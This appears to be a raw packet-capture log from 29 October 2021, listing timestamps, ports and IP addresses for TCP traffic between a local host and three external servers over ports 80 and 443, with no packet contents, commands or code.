Oct 29, 2021 14:11:13.763597965 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763662100 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763729095 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763757944 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.763792038 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763907909 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763974905 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764039993 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764103889 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764170885 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764239073 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764307976 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764367104 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764422894 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764478922 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764723063 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.764754057 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764812946 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764899015 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.764955044 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.765634060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.765774012 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.765799046 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.766731024 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.766746044 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.767719030 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.768701077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.768743038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.768779039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.768816948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.768881083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.768920898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.769717932 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.779176950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779227018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779263973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779304028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779342890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779378891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779431105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779469967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779505968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779730082 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.779921055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.779968977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780005932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780042887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780081034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780117035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780154943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780191898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780226946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780266047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.780736923 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.781012058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781163931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781219959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781265974 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.781267881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781307936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781346083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781369925 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.781383991 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.781393051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781420946 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.781439066 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.781451941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781497002 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.781507015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781547070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.781565905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.781677008 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.781851053 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.781930923 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782011032 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782041073 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782063961 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782136917 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782288074 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782305956 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782326937 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782382011 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782388926 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782413006 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782469988 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782505989 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782587051 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782623053 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782641888 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782664061 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782675028 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782727957 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782732010 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782751083 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782819986 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782862902 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782876968 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.782918930 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782960892 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.782984972 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.783107996 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.783111095 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.783128977 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.783183098 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.783204079 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.783282995 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.783287048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783328056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783366919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783405066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783441067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783478975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783515930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783555031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783591986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783628941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783665895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783704042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783713102 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.783726931 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.783740044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783744097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.783777952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783828020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783869028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783929110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.783984900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784028053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784065962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784101963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784140110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784177065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784214020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784252882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784288883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784326077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784363985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784544945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784603119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784648895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784687042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784701109 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.784723997 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.784723997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784761906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784799099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784837961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784908056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.784945965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785609007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785667896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785711050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785748005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785763979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.785785913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785825968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785865068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.785901070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786648035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786695004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786709070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.786732912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786771059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786809921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786848068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786885977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.786921024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.787705898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.787872076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.787904978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.787930965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.787955046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.787977934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.787998915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.788021088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.788043022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.788064957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.788086891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.788711071 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.788935900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789664030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789694071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789707899 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.789724112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789753914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789777040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789803982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789825916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789849997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.789870977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.790512085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.790555000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.790591955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.790713072 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.791708946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.800126076 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.801893950 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.802005053 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.802068949 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.802166939 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.802239895 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.802262068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.802715063 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.802742004 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.802769899 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.803714991 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.803735018 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.804711103 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.804732084 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.805000067 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.805756092 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.805774927 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.806714058 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.806730986 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.807737112 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.807749987 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.808705091 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.808717966 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.809708118 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.809719086 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.809947968 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.810014963 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.810720921 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.810730934 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.811738014 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.811752081 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.812717915 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.812732935 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.812762022 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.813718081 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.813734055 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.814735889 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.814748049 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.815752029 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.816715956 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.816812038 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.822875977 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.822922945 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.822962046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.822994947 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823033094 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823071957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823101044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823139906 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823400974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823440075 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823474884 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.823503971 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.823548079 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.823730946 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.823836088 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.823904037 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.824203968 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.824723959 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.825186968 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.825247049 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.825761080 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.825778008 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.826710939 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.826728106 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.827717066 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.827738047 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.828056097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.828098059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.828138113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.828175068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.828716993 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.828733921 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.829710960 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.829726934 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.830713987 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.830729008 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.830725908 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.831717014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.831829071 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.831844091 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.832788944 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.833708048 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.833720922 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.834712029 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.834723949 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.835772991 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.835784912 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.836709976 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.836725950 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.836920023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.836977005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837016106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837054968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837094069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837132931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837172031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837208033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.837712049 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.837728024 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.838716984 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.838732004 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.839104891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839143991 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839181900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839219093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839368105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839407921 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839451075 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839487076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839534044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839572906 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.839719057 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.839735985 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.840066910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.840095997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.840728998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.841710091 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.841723919 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.841737986 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.842710018 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.842722893 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.843728065 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.844729900 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.845769882 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.845772982 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.845789909 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.845820904 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.845829964 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.846733093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.846739054 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.846751928 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.846771955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.846774101 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.846810102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.847724915 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.847747087 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.847923994 CEST	80	50094	193.56.146.214	192.168.2.3
